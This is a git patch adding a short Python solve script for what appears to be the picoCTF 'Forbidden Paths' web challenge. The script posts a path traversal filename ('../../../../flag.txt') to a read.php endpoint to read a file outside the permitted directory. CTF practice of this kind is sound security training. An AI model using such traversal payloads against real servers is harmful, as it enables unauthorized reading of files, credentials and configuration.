From db7fdfaa6ce9c811faf2732cd1592ff68d886c36 Mon Sep 17 00:00:00 2001 From: h7x4 Date: Thu, 5 Sep 2024 18:55:30 +0200 Subject: [PATCH] web/forbidden_paths --- web/forbidden_paths/solve.py | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) create mode 100755 web/forbidden_paths/solve.py diff --git a/web/forbidden_paths/solve.py b/web/forbidden_paths/solve.py new file mode 100755 index 0000000..2ade024 --- /dev/null +++ b/web/forbidden_paths/solve.py @@ -0,0 +1,23 @@ +#!/usr/bin/env nix-shell +#!nix-shell -i python3 -p python3Packages.requests +# coding: utf-8 + +import json + +import requests + +BASE_URL = "http://saturn.picoctf.net:54384/" + +def main(): + r = requests.post( + BASE_URL + 'read.php', + data = { + 'filename': "../../../../flag.txt" + }, + ) + print(r) + print(r.text) + +if __name__ == '__main__': + main() +